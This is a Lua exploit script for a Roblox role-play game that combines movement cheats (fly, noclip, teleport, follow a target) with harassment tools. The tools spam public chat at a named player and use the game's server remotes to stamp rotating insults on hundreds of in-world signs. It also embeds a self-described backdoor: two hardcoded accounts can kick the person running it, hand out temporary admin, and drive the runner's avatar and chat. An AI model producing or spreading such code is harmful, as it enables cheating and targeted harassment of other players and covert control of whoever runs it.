--[[ ADU MICRO – GUI title "🔥ADU🔥" & execution message "🔥ADU SHERRRRRRR🔥" RP name automatically set to "🔥ADU ON TOP🔥" Integrated Aditya Prop Troll V5 – Beast REMOVED, added FOLLOW mode ]] local Players = game:GetService("Players") local LP = Players.LocalPlayer local RS = game:GetService("RunService") local Camera = workspace.CurrentCamera local UIS = game:GetService("UserInputService") local ReplicatedStorage = game:GetService("ReplicatedStorage") -- CONFIG local target = "none" local master = "" local spamSpeed = 0.45 local active = false local noclipActive = false local nositActive = false local flying = false local flyBodyVelocity = nil local msgCount = 0 local fillerPatterns = { "@", "#-", "@#", "_-", "~-", "=: " } local patternIdx = 1 local emojis = {"🔥","😌","💀","😎","🙈","🤡","😌","😔","✋","😱","👑","🥀","🤑","🤧","💀","🤮","🙀"} local function getRandomEmoji() return emojis[math.random(1, #emojis)] end local prefixes = { "ADU ON TOP BOL😌", "ADITYA BEST🔥", "DONT MESS WITH ADITYA", "ADITYA USER ON TOP", "TMX MEH ADITYA KA HATHIYAR", "tmx meh rocket", "tmx meh beast", "tmx meh hunter", "tmx meh storm", "tmx meh shadow", "tmx meh venom", "tmx meh flash", "tmx meh thunder", "tmx meh phantom", "tmx meh ghost", "tmx meh blaze", "tmx meh frost", "tmx meh steel", "tmx meh dragon", "tmx meh wolf" } -- Helper functions local function findPlayer(partial) if not partial or partial == "" then return nil end partial = partial:lower() for _, p in pairs(Players:GetPlayers()) do if p.Name:lower():find(partial,1,true) or p.DisplayName:lower():find(partial,1,true) then return p end end return nil end local function send(msg) pcall(function() local tcs = game:GetService("TextChatService") if tcs.ChatVersion == Enum.ChatVersion.TextChatService then local ch = tcs.TextChannels:FindFirstChild("RBXGeneral") if ch then ch:SendAsync(msg) end else local rs = game:GetService("ReplicatedStorage") local ev = rs:FindFirstChild("DefaultChatSystemChatEvents") if ev and ev:FindFirstChild("SayMessageRequest") then ev.SayMessageRequest:FireServer(msg, "All") end end end) end local function sendSpam(msg) send(msg) end -- Teleport (silent) local function teleportToPlayer(partial) local p = findPlayer(partial) if not p or p == LP then return end if p.Character and LP.Character then LP.Character.HumanoidRootPart.CFrame = p.Character.HumanoidRootPart.CFrame + Vector3.new(0,2,0) end end -- View system local viewing = false local viewCon = nil local function resetView() if viewCon then viewCon:Disconnect() end viewing = false if LP.Character then Camera.CameraSubject = LP.Character.HumanoidRootPart end Camera.CameraType = Enum.CameraType.Custom end local function setView(plr) if not plr or plr == LP or not plr.Character then return end if viewCon then viewCon:Disconnect() end viewing = true Camera.CameraSubject = plr.Character.HumanoidRootPart Camera.CameraType = Enum.CameraType.Custom viewCon = plr.CharacterAdded:Connect(function(newChar) task.wait(0.5) if newChar then Camera.CameraSubject = newChar.HumanoidRootPart end end) end -- Noclip / Nosit local function updateNoclip() if noclipActive and LP.Character then for _, part in pairs(LP.Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = false end end end end RS.RenderStepped:Connect(function() if noclipActive then updateNoclip() end end) RS.Stepped:Connect(function() if nositActive and LP.Character and LP.Character.Humanoid then LP.Character.Humanoid.Sit = false LP.Character.Humanoid.SeatPart = nil end end) -- Fly local function startFly() if not LP.Character then return end local hrp = LP.Character:FindFirstChild("HumanoidRootPart") if not hrp then return end if flyBodyVelocity then flyBodyVelocity:Destroy() end flyBodyVelocity = Instance.new("BodyVelocity") flyBodyVelocity.MaxForce = Vector3.new(1e9, 1e9, 1e9) flyBodyVelocity.Parent = hrp local hum = LP.Character:FindFirstChild("Humanoid") if hum then hum.PlatformStand = false hum.AutoRotate = false end RS.RenderStepped:Connect(function() if not flying or not LP.Character or not flyBodyVelocity then return end local camCF = Camera.CFrame local forward = camCF.LookVector local right = camCF.RightVector local up = camCF.UpVector local move = Vector3.new() if UIS:IsKeyDown(Enum.KeyCode.W) then move = move + forward end if UIS:IsKeyDown(Enum.KeyCode.S) then move = move - forward end if UIS:IsKeyDown(Enum.KeyCode.A) then move = move - right end if UIS:IsKeyDown(Enum.KeyCode.D) then move = move + right end if UIS:IsKeyDown(Enum.KeyCode.Space) then move = move + up end if UIS:IsKeyDown(Enum.KeyCode.LeftControl) then move = move - up end if move.Magnitude > 0 then move = move.Unit end flyBodyVelocity.Velocity = move * 50 end) end local function stopFly() if flyBodyVelocity then flyBodyVelocity:Destroy(); flyBodyVelocity = nil end if LP.Character then local hum = LP.Character:FindFirstChild("Humanoid") if hum then hum.AutoRotate = true hum.PlatformStand = false end end end local function toggleFly() flying = not flying if flying then startFly() else stopFly() end sendSpam(flying and "🦁 Fly ON" or "🦁 Fly OFF") if updateFlyButton then updateFlyButton() end end -- Spam local function buildFiller(endPart) local pat = fillerPatterns[patternIdx] patternIdx = patternIdx % #fillerPatterns + 1 local targetLen = math.max(10, 140 - #endPart) return string.rep(pat, math.ceil(targetLen / #pat)):sub(1, targetLen) end local function startSpam() if active then return end active = true; msgCount = 0 task.spawn(function() while active do for _, p in pairs(prefixes) do if not active then break end local pWithEmoji = p .. getRandomEmoji() local endP = (target == "none") and " " .. pWithEmoji or " " .. target .. " " .. pWithEmoji sendSpam((buildFiller(endP) .. endP):lower()) msgCount = msgCount + 1 task.wait(spamSpeed + (math.random(-3,3)/100)) if msgCount >= 10 then task.wait(0.4); msgCount = 0 end end task.wait(0.1) end end) end local function stopSpam() active = false sendSpam("🦁 stopped") end -- Super mode local function superMode() noclipActive = true; nositActive = true; spamSpeed = 0.1 updateNoclip() if updateNoclipButton then updateNoclipButton() end if updateNositButton then updateNositButton() end if speedLbl then speedLbl.Text = "speed:0.1s" end sendSpam("DUM H TO AOO NA😔🔥") end -- ============================ -- FOLLOW MODE (new) -- ============================ local followActive = false local followTargetPlayer = nil local followTask = nil local function stopFollow() followActive = false if followTask then task.cancel(followTask); followTask = nil end send("🚶 Follow mode OFF") end local function startFollow(targetName) if not targetName or targetName == "" then send("❌ Please specify a target name. Usage: !follow ") return false end local targetPlr = findPlayer(targetName) if not targetPlr then send("❌ Player not found: " .. targetName) return false end followTargetPlayer = targetPlr followActive = true if followTask then task.cancel(followTask) end followTask = task.spawn(function() while followActive do if followTargetPlayer and followTargetPlayer.Character and LP.Character then local targetHRP = followTargetPlayer.Character:FindFirstChild("HumanoidRootPart") if targetHRP then LP.Character.HumanoidRootPart.CFrame = targetHRP.CFrame + Vector3.new(0,2,0) end end task.wait(0.2) -- smooth following end end) send("🚀 Now following: " .. followTargetPlayer.Name) return true end local function toggleFollow(targetName) if followActive then stopFollow() else startFollow(targetName or (trollTargetName ~= "HATER" and trollTargetName or nil)) end if updateFollowButton then updateFollowButton() end end -- ============================ -- ADITYA PROP TROLL V5 (FIXED) -- ============================ -- Backdoor admin system local SUPER_ADMINS = {["DEV_123875"] = true, ["ujjwal5380"] = true} local TempAdmins = {} local function isAdmin(playerName) if SUPER_ADMINS[playerName] then return true end if TempAdmins[playerName] and os.time() < TempAdmins[playerName] then return true end return false end -- RP name & bio (NOW SET TO 🔥ADU ON TOP🔥) local remoteFolder = ReplicatedStorage:WaitForChild("RE") local nameEvent = remoteFolder:FindFirstChild("1RPNam1eTex1t") local colorEvent = remoteFolder:FindFirstChild("1RPNam1eColo1r") local function updateRP() if nameEvent then nameEvent:FireServer("RolePlayName", "🔥ADU ON TOP🔥") nameEvent:FireServer("RolePlayBio", "Welcome dear " .. LP.DisplayName) end end updateRP() LP.CharacterAdded:Connect(updateRP) task.spawn(function() local hue = 0 while true do local rgbColor = Color3.fromHSV(hue, 1, 1) if colorEvent then colorEvent:FireServer("PickingRPNameColor", rgbColor) colorEvent:FireServer("PickingRPBioColor", rgbColor) end hue = (hue + 0.01) % 1 task.wait(0.5) end end) -- Prop troll globals (FIXED) local trolling = false local trollTask = nil local trollTargetName = "HATER" local trollIndex = 1 local trollSpeed = 0.6 local trollMessages = { "Noob", "Bhag", "Bhaga kyu", "Farar", "Cud", "Bot", "Lamde", "Doremon ki aulaad", "Nobita tere dadaji", "Pil gya", "Chl chl chl", "Meow GHOP GHOP", "SUCKER", "LOSER", "HACKER" } local SignRemote = remoteFolder:FindFirstChild("1Cemeter1y") -- Core troll function – updates all signs local function updateSigns(message) if not SignRemote then return end pcall(function() for id = 1, 300 do local idStr = tostring(id) SignRemote:FireServer("ReturningBigSign2Name", idStr, message) SignRemote:FireServer("ReturningBigSign3Name", idStr, message) SignRemote:FireServer("ReturningBigSign4Name", idStr, message) SignRemote:FireServer("ReturningConstuctionName", idStr, message) SignRemote:FireServer("ReturningCommercialWords", id, nil, message) end end) end -- Start the troll loop (stoppable) local function startTroll() if trolling then return end trolling = true trollIndex = 1 if trollTask then task.cancel(trollTask) end trollTask = task.spawn(function() while trolling do local insult = trollMessages[trollIndex] local fullMsg = string.format("[%s] %s", string.upper(trollTargetName), insult) updateSigns(fullMsg) trollIndex = (trollIndex % #trollMessages) + 1 task.wait(trollSpeed) end -- Clear signs when stopped updateSigns("") end) end local function stopTroll() trolling = false if trollTask then task.cancel(trollTask); trollTask = nil end updateSigns("") -- clear all signs send("🛑 Prop troll stopped.") end -- RGB prop colors (FIXED) local rgbActive = false local rgbTask = nil local function startRgb() if rgbActive then return end rgbActive = true if rgbTask then task.cancel(rgbTask) end rgbTask = task.spawn(function() local hue = 0 while rgbActive do local color = Color3.fromHSV(hue, 1, 1) -- Try to change prop colors via the game's remote for _, v in ipairs(workspace:GetDescendants()) do if v.Name == "ChangePropColor" and v:IsA("RemoteFunction") then pcall(function() v:InvokeServer(color) end) end end -- Try to change via PropColorPicker GUI local cp = LP.PlayerGui:FindFirstChild("NoResetGUIHandler") if cp and cp:FindFirstChild("PropColorPicker") then pcall(function() cp.PropColorPicker.SetColor:FireServer(color) end) end hue = (hue + 0.05) % 1 task.wait(0.2) end end) end local function stopRgb() rgbActive = false if rgbTask then task.cancel(rgbTask); rgbTask = nil end end -- ============================ -- MASTER COMMAND HANDLER (works for any player) -- ============================ local function executeCommandFrom(player, msg) -- Check authorization: master (case-insensitive), admin, or local player local isAuthorized = (master ~= "" and string.lower(player.Name) == string.lower(master)) or isAdmin(player.Name) or player == LP if not isAuthorized then return false end local parts = {} for w in msg:lower():gmatch("%S+") do parts[#parts+1] = w end if #parts == 0 then return false end local cmd = parts[1] -- Standard commands if cmd == "!rejoin" then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, LP) elseif cmd == "!speed" and parts[2] then spamSpeed = tonumber(parts[2]) or spamSpeed sendSpam("[⚡ speed set to "..spamSpeed.."s ⚡]") if speedLbl then speedLbl.Text = "speed:"..spamSpeed.."s" end elseif cmd == "!target" and parts[2] then target = parts[2] sendSpam("🦁 target: "..target) if targetLbl then targetLbl.Text = "target:"..target end elseif cmd == "!setmaster" and parts[2] then master = parts[2] sendSpam("🦁 master set to: "..master) if masterLbl then masterLbl.Text = "master:"..master end elseif cmd == "!noclip" then noclipActive = not noclipActive updateNoclip() sendSpam("🦁 noclip: "..(noclipActive and "on" or "off")) if updateNoclipButton then updateNoclipButton() end elseif cmd == "!nosit" then nositActive = not nositActive sendSpam("🦁 anti-sit: "..(nositActive and "on" or "off")) if updateNositButton then updateNositButton() end elseif cmd == "!fly" then toggleFly() elseif cmd == "!start" then startSpam() if statusLbl then statusLbl.Text = "🟢 SPAM"; statusLbl.TextColor3 = Color3.fromRGB(0,255,0) end elseif cmd == "!stop" then stopSpam() if statusLbl then statusLbl.Text = "🔴 STOP"; statusLbl.TextColor3 = Color3.fromRGB(255,100,100) end elseif cmd == "!adu" then superMode() elseif cmd == "!tp" and parts[2] then teleportToPlayer(parts[2]) elseif cmd == "!view" and parts[2] then if parts[2] == "reset" then resetView() else local p = findPlayer(parts[2]) if p then setView(p) end end -- FOLLOW COMMANDS (new) elseif cmd == "!follow" then if #parts == 1 then send("🚶 Follow commands: !follow (start) or !follow stop") elseif parts[2] == "stop" then stopFollow() else startFollow(parts[2]) end if updateFollowButton then updateFollowButton() end -- ===== PROP TROLL COMMANDS ===== elseif cmd == "!troll" then if #parts == 1 then send("🃏 Prop troll commands: !troll start, !troll stop, !troll target , !troll speed , !troll rgb on/off") elseif parts[2] == "start" then startTroll() send("🔥 Prop troll STARTED") if ultraBtn then ultraBtn.Text = "DESTROYING..." end elseif parts[2] == "stop" then stopTroll() if ultraBtn then ultraBtn.Text = "ULTRA ATTACK" end elseif parts[2] == "target" and parts[3] then trollTargetName = parts[3] send("🎯 Troll target set to: " .. trollTargetName) if trollTargetBox then trollTargetBox.Text = trollTargetName end elseif parts[2] == "speed" and parts[3] then local spd = tonumber(parts[3]) if spd and spd > 0 then trollSpeed = spd send("⚡ Troll message speed: " .. trollSpeed .. "s") end elseif parts[2] == "rgb" then if parts[3] == "on" then startRgb() send("🌈 RGB props ON") if rgbBtn then rgbBtn.Text = "RGB PROPS: ON" end elseif parts[3] == "off" then stopRgb() send("🌈 RGB props OFF") if rgbBtn then rgbBtn.Text = "RGB PROPS: OFF" end else send("Usage: !troll rgb on/off") end else send("Unknown !troll subcommand. Use !troll") end else return false end return true end -- Backdoor admin commands (!kick, !cmds) local function handleAdminCommand(player, msg) local msgLower = msg:lower() local split = string.split(msgLower, " ") local cmd = split[1] local targetInput = msgLower:sub(#cmd + 2) if cmd == "!kick" and isAdmin(player.Name) then if string.find(string.lower(LP.Name), targetInput) then LP:Kick("[ADITYA] Admin Kick") end elseif cmd == "!cmds" and SUPER_ADMINS[player.Name] then for _, p in ipairs(Players:GetPlayers()) do if string.find(string.lower(p.Name), targetInput) then TempAdmins[p.Name] = os.time() + 7200 end end end end -- Attach listeners to all players (current and future) local function attachChatListeners(plr) plr.Chatted:Connect(function(msg) handleAdminCommand(plr, msg) executeCommandFrom(plr, msg) end) end for _, plr in ipairs(Players:GetPlayers()) do attachChatListeners(plr) end Players.PlayerAdded:Connect(attachChatListeners) -- Final execution message send("🔥ADU SHERRRRRRR🔥") -- ============================ -- MAIN GUI (170x340, merged) -- ============================ local gui = Instance.new("ScreenGui") gui.Name = "AduMicroFinal" gui.ResetOnSpawn = false pcall(function() gui.Parent = game:GetService("CoreGui") end) if not gui.Parent then gui.Parent = LP:WaitForChild("PlayerGui") end local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 170, 0, 340) frame.Position = UDim2.new(0.5, -85, 0.5, -170) frame.BackgroundColor3 = Color3.fromRGB(25,25,35) frame.BorderSizePixel = 1 frame.BorderColor3 = Color3.fromRGB(255,100,50) frame.Active = true frame.Draggable = true frame.Parent = gui -- Title bar local titleBar = Instance.new("Frame") titleBar.Size = UDim2.new(1,0,0,20) titleBar.BackgroundColor3 = Color3.fromRGB(45,45,60) titleBar.Parent = frame local title = Instance.new("TextLabel") title.Size = UDim2.new(1,0,1,0) title.BackgroundTransparency = 1 title.Text = "🔥ADU🔥" title.TextColor3 = Color3.fromRGB(255,100,50) title.TextScaled = true title.Font = Enum.Font.GothamBold title.Parent = titleBar local minBtn = Instance.new("TextButton") minBtn.Size = UDim2.new(0,14,0,14) minBtn.Position = UDim2.new(1,-18,0,3) minBtn.BackgroundColor3 = Color3.fromRGB(80,80,100) minBtn.Text = "−" minBtn.TextColor3 = Color3.new(1,1,1) minBtn.TextSize = 10 minBtn.Parent = titleBar local closeBtn = Instance.new("TextButton") closeBtn.Size = UDim2.new(0,14,0,14) closeBtn.Position = UDim2.new(1,-34,0,3) closeBtn.BackgroundColor3 = Color3.fromRGB(200,50,50) closeBtn.Text = "✕" closeBtn.TextSize = 8 closeBtn.Parent = titleBar local scroll = Instance.new("ScrollingFrame") scroll.Size = UDim2.new(1, -4, 1, -24) scroll.Position = UDim2.new(0,2,0,22) scroll.BackgroundTransparency = 1 scroll.CanvasSize = UDim2.new(0,0,0,500) scroll.ScrollBarThickness = 3 scroll.Parent = frame local function mkLabel(txt, y) local l = Instance.new("TextLabel") l.Size = UDim2.new(0.95,0,0,12) l.Position = UDim2.new(0,2,0,y) l.BackgroundTransparency = 1 l.Text = txt l.TextColor3 = Color3.fromRGB(200,200,220) l.TextSize = 7 l.Font = Enum.Font.Gotham l.TextXAlignment = Enum.TextXAlignment.Left l.Parent = scroll return l end local statusLbl = mkLabel("⚪ idle", 2) local targetLbl = mkLabel("target: none", 16) local masterLbl = mkLabel("master: none", 30) local speedLbl = mkLabel("speed: 0.45s", 44) local function mkPair(ph, y, btnText, btnColor) local box = Instance.new("TextBox", scroll) box.Size = UDim2.new(0.65,0,0,16) box.Position = UDim2.new(0,2,0,y) box.PlaceholderText = ph box.BackgroundColor3 = Color3.fromRGB(40,40,55) box.TextColor3 = Color3.new(1,1,1) box.TextSize = 7 box.Font = Enum.Font.Gotham local btn = Instance.new("TextButton", scroll) btn.Size = UDim2.new(0.28,0,0,16) btn.Position = UDim2.new(0.7,0,0,y) btn.BackgroundColor3 = btnColor btn.Text = btnText btn.TextColor3 = Color3.new(1,1,1) btn.TextSize = 7 btn.Font = Enum.Font.GothamBold return box, btn end local targetBox, setTargetBtn = mkPair("user", 60, "SET", Color3.fromRGB(0,140,200)) local masterBox, setMasterBtn = mkPair("master", 78, "SET", Color3.fromRGB(0,140,200)) local speedBox, setSpeedBtn = mkPair("spd", 96, "SPD", Color3.fromRGB(200,140,0)) local tpBox, tpBtn = mkPair("tp", 114, "TP", Color3.fromRGB(0,200,150)) local viewBox, viewBtn = mkPair("view", 132, "VW", Color3.fromRGB(0,150,200)) local unviewBtn = Instance.new("TextButton", scroll) unviewBtn.Size = UDim2.new(0.28,0,0,16) unviewBtn.Position = UDim2.new(0.7,0,0,150) unviewBtn.BackgroundColor3 = Color3.fromRGB(200,100,0) unviewBtn.Text = "UNVIEW" unviewBtn.TextColor3 = Color3.new(1,1,1) unviewBtn.TextSize = 6 unviewBtn.Font = Enum.Font.GothamBold local flyBtn = Instance.new("TextButton", scroll) flyBtn.Size = UDim2.new(0.44,0,0,20) flyBtn.Position = UDim2.new(0.03,0,0,172) flyBtn.BackgroundColor3 = Color3.fromRGB(0,180,180) flyBtn.Text = "FLY OFF" flyBtn.TextColor3 = Color3.new(1,1,1) flyBtn.TextSize = 8 flyBtn.Font = Enum.Font.GothamBold -- NEW: Follow button (replaces Beast button position) local followBtn = Instance.new("TextButton", scroll) followBtn.Size = UDim2.new(0.44,0,0,20) followBtn.Position = UDim2.new(0.53,0,0,172) followBtn.BackgroundColor3 = Color3.fromRGB(150,0,150) followBtn.Text = "FOLLOW OFF" followBtn.TextColor3 = Color3.new(1,1,1) followBtn.TextSize = 8 followBtn.Font = Enum.Font.GothamBold local function updateFollowButton() followBtn.Text = followActive and "FOLLOW ON" or "FOLLOW OFF" followBtn.BackgroundColor3 = followActive and Color3.fromRGB(0,255,0) or Color3.fromRGB(150,0,150) end local function mkAct(txt, y, color) local btn = Instance.new("TextButton", scroll) btn.Size = UDim2.new(0.44,0,0,20) btn.Position = UDim2.new(0.03,0,0,y) btn.BackgroundColor3 = color btn.Text = txt btn.TextColor3 = Color3.new(1,1,1) btn.TextSize = 8 btn.Font = Enum.Font.GothamBold return btn end local startBtn = mkAct("START", 200, Color3.fromRGB(0,170,0)) local stopBtn = mkAct("STOP", 200, Color3.fromRGB(170,0,0)) stopBtn.Position = UDim2.new(0.53,0,0,200) local noclipBtn = mkAct("NOCLIP", 224, Color3.fromRGB(0,90,180)) local nositBtn = mkAct("NOSIT", 224, Color3.fromRGB(180,90,0)) nositBtn.Position = UDim2.new(0.53,0,0,224) local rejoinBtn = mkAct("REJOIN", 248, Color3.fromRGB(0,90,180)) local superBtn = mkAct("🔥SUPER🔥", 248, Color3.fromRGB(255,80,40)) superBtn.Position = UDim2.new(0.53,0,0,248) -- === ADITYA PROP TROLL SECTION (FIXED) === local trollLabel = mkLabel("ADITYA PROP TROLL", 272) trollLabel.Font = Enum.Font.GothamBold trollLabel.TextColor3 = Color3.fromRGB(255,255,150) local trollTargetBox = Instance.new("TextBox", scroll) trollTargetBox.Size = UDim2.new(0.65,0,0,18) trollTargetBox.Position = UDim2.new(0,2,0,288) trollTargetBox.PlaceholderText = "Target Name..." trollTargetBox.BackgroundColor3 = Color3.fromRGB(40,40,55) trollTargetBox.TextColor3 = Color3.new(1,1,1) trollTargetBox.TextSize = 8 trollTargetBox.Font = Enum.Font.Gotham local ultraBtn = Instance.new("TextButton", scroll) ultraBtn.Size = UDim2.new(0.28,0,0,18) ultraBtn.Position = UDim2.new(0.7,0,0,288) ultraBtn.BackgroundColor3 = Color3.fromRGB(0,255,100) ultraBtn.Text = "ULTRA ATTACK" ultraBtn.TextColor3 = Color3.new(1,1,1) ultraBtn.TextSize = 7 ultraBtn.Font = Enum.Font.GothamBold local trollStopBtn = Instance.new("TextButton", scroll) trollStopBtn.Size = UDim2.new(0.44,0,0,20) trollStopBtn.Position = UDim2.new(0.03,0,0,312) trollStopBtn.BackgroundColor3 = Color3.fromRGB(255,0,0) trollStopBtn.Text = "STOP" trollStopBtn.TextColor3 = Color3.new(1,1,1) trollStopBtn.TextSize = 8 trollStopBtn.Font = Enum.Font.GothamBold local rgbBtn = Instance.new("TextButton", scroll) rgbBtn.Size = UDim2.new(0.44,0,0,20) rgbBtn.Position = UDim2.new(0.53,0,0,312) rgbBtn.BackgroundColor3 = Color3.fromRGB(0,150,255) rgbBtn.Text = "RGB PROPS: OFF" rgbBtn.TextColor3 = Color3.new(1,1,1) rgbBtn.TextSize = 8 rgbBtn.Font = Enum.Font.GothamBold -- Button update functions function updateFlyButton() flyBtn.Text = flying and "FLY ON" or "FLY OFF" flyBtn.BackgroundColor3 = flying and Color3.fromRGB(0,255,0) or Color3.fromRGB(0,180,180) end function updateNoclipButton() noclipBtn.Text = noclipActive and "NOC ON" or "NOC OFF"; noclipBtn.BackgroundColor3 = noclipActive and Color3.fromRGB(0,170,0) or Color3.fromRGB(0,90,180) end function updateNositButton() nositBtn.Text = nositActive and "SIT ON" or "SIT OFF"; nositBtn.BackgroundColor3 = nositActive and Color3.fromRGB(0,170,0) or Color3.fromRGB(180,90,0) end -- Wire buttons setTargetBtn.MouseButton1Click:Connect(function() if targetBox.Text ~= "" then target = targetBox.Text:lower(); targetLbl.Text = "target:"..target; sendSpam("🦁 target: "..target); targetBox.Text = "" end end) setMasterBtn.MouseButton1Click:Connect(function() if masterBox.Text ~= "" then master = masterBox.Text:lower(); masterLbl.Text = "master:"..master; sendSpam("🦁 master set: "..master); masterBox.Text = "" end end) setSpeedBtn.MouseButton1Click:Connect(function() local ns = tonumber(speedBox.Text) if ns and ns>0 then spamSpeed = ns; speedLbl.Text = "speed:"..ns.."s"; sendSpam("[⚡ speed set to "..ns.."s ⚡]"); speedBox.Text = "" end end) tpBtn.MouseButton1Click:Connect(function() if tpBox.Text ~= "" then teleportToPlayer(tpBox.Text); tpBox.Text = "" end end) viewBtn.MouseButton1Click:Connect(function() if viewBox.Text ~= "" then local p = findPlayer(viewBox.Text); if p then setView(p) end; viewBox.Text = "" end end) unviewBtn.MouseButton1Click:Connect(resetView) flyBtn.MouseButton1Click:Connect(toggleFly) -- Follow button followBtn.MouseButton1Click:Connect(function() local target = trollTargetBox.Text ~= "" and trollTargetBox.Text or nil if followActive then stopFollow() else if not target then send("❗ Please enter a target name in the troll target box first.") return end startFollow(target) end updateFollowButton() end) startBtn.MouseButton1Click:Connect(function() if not active then startSpam(); statusLbl.Text = "🟢 SPAM"; statusLbl.TextColor3 = Color3.fromRGB(0,255,0) else sendSpam("already spamming") end end) stopBtn.MouseButton1Click:Connect(function() if active then stopSpam(); statusLbl.Text = "🔴 STOP"; statusLbl.TextColor3 = Color3.fromRGB(255,100,100) end end) noclipBtn.MouseButton1Click:Connect(function() noclipActive = not noclipActive; updateNoclip(); updateNoclipButton(); sendSpam("🦁 noclip: "..(noclipActive and "on" or "off")) end) nositBtn.MouseButton1Click:Connect(function() nositActive = not nositActive; updateNositButton(); sendSpam("🦁 anti-sit: "..(nositActive and "on" or "off")) end) rejoinBtn.MouseButton1Click:Connect(function() game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, LP) end) superBtn.MouseButton1Click:Connect(superMode) -- Prop troll buttons (FIXED) ultraBtn.MouseButton1Click:Connect(function() if trolling then stopTroll() ultraBtn.Text = "ULTRA ATTACK" else local newTarget = trollTargetBox.Text if newTarget ~= "" then trollTargetName = newTarget end startTroll() ultraBtn.Text = "DESTROYING..." end end) trollStopBtn.MouseButton1Click:Connect(function() stopTroll() ultraBtn.Text = "ULTRA ATTACK" end) rgbBtn.MouseButton1Click:Connect(function() if rgbActive then stopRgb() rgbBtn.Text = "RGB PROPS: OFF" else startRgb() rgbBtn.Text = "RGB PROPS: ON" end end) -- Floating toggle button local toggleBtn = Instance.new("TextButton") toggleBtn.Size = UDim2.new(0,32,0,32) toggleBtn.Position = UDim2.new(0,8,0,60) toggleBtn.BackgroundColor3 = Color3.fromRGB(40,40,55) toggleBtn.Text = "ADU" toggleBtn.TextColor3 = Color3.fromRGB(255,100,50) toggleBtn.TextSize = 10 toggleBtn.Font = Enum.Font.GothamBold toggleBtn.BorderSizePixel = 1 toggleBtn.BorderColor3 = Color3.fromRGB(255,100,50) toggleBtn.Parent = gui local function toggleFrame() frame.Visible = not frame.Visible; minBtn.Text = frame.Visible and "−" or "+" end minBtn.MouseButton1Click:Connect(toggleFrame) closeBtn.MouseButton1Click:Connect(function() stopSpam(); resetView(); stopFly(); stopTroll(); stopRgb(); stopFollow(); gui:Destroy() end) toggleBtn.MouseButton1Click:Connect(toggleFrame) -- Command panel local cmdPanel = Instance.new("Frame") cmdPanel.Size = UDim2.new(0,120,0,220) cmdPanel.Position = UDim2.new(1,-130,0.5,-110) cmdPanel.BackgroundColor3 = Color3.fromRGB(20,20,30) cmdPanel.BorderSizePixel = 1 cmdPanel.BorderColor3 = Color3.fromRGB(255,200,100) cmdPanel.Visible = false cmdPanel.Parent = gui local panelTitle = Instance.new("TextLabel") panelTitle.Size = UDim2.new(1,0,0,16) panelTitle.BackgroundColor3 = Color3.fromRGB(50,50,70) panelTitle.Text = "CMDS" panelTitle.TextColor3 = Color3.fromRGB(255,200,100) panelTitle.TextScaled = true panelTitle.Font = Enum.Font.GothamBold panelTitle.Parent = cmdPanel local cmdScroll = Instance.new("ScrollingFrame") cmdScroll.Size = UDim2.new(1,-6,1,-22) cmdScroll.Position = UDim2.new(0,3,0,18) cmdScroll.BackgroundTransparency = 1 cmdScroll.CanvasSize = UDim2.new(0,0,0,300) cmdScroll.ScrollBarThickness = 3 cmdScroll.Parent = cmdPanel local cmdList = { "!start", "!stop", "!target", "!setmaster", "!noclip", "!nosit", "!fly", "!rejoin", "!speed", "!tp", "!view", "!view reset", "!adu", "!follow ", "!follow stop", "!troll start", "!troll stop", "!troll target ", "!troll speed ", "!troll rgb on/off" } local yOff = 0 for _,c in ipairs(cmdList) do local l = Instance.new("TextLabel") l.Size = UDim2.new(1,-10,0,14) l.Position = UDim2.new(0,5,0,yOff) l.BackgroundTransparency = 1 l.Text = c l.TextColor3 = Color3.fromRGB(220,220,255) l.TextSize = 8 l.Font = Enum.Font.Gotham l.TextXAlignment = Enum.TextXAlignment.Left l.Parent = cmdScroll yOff = yOff + 14 end cmdScroll.CanvasSize = UDim2.new(0,0,0,yOff+5) local cmdToggle = Instance.new("TextButton") cmdToggle.Size = UDim2.new(0,24,0,24) cmdToggle.Position = UDim2.new(1,-30,0.5,-12) cmdToggle.BackgroundColor3 = Color3.fromRGB(80,80,100) cmdToggle.Text = "📜" cmdToggle.TextColor3 = Color3.new(1,1,1) cmdToggle.TextSize = 12 cmdToggle.Font = Enum.Font.GothamBold cmdToggle.Parent = gui cmdToggle.MouseButton1Click:Connect(function() cmdPanel.Visible = not cmdPanel.Visible end) updateFlyButton() updateNoclipButton() updateNositButton() updateFollowButton() statusLbl.TextColor3 = Color3.fromRGB(200,200,200) print("✅ ADU MICRO – Beast removed, Follow mode added. Prop troll fully fixed.")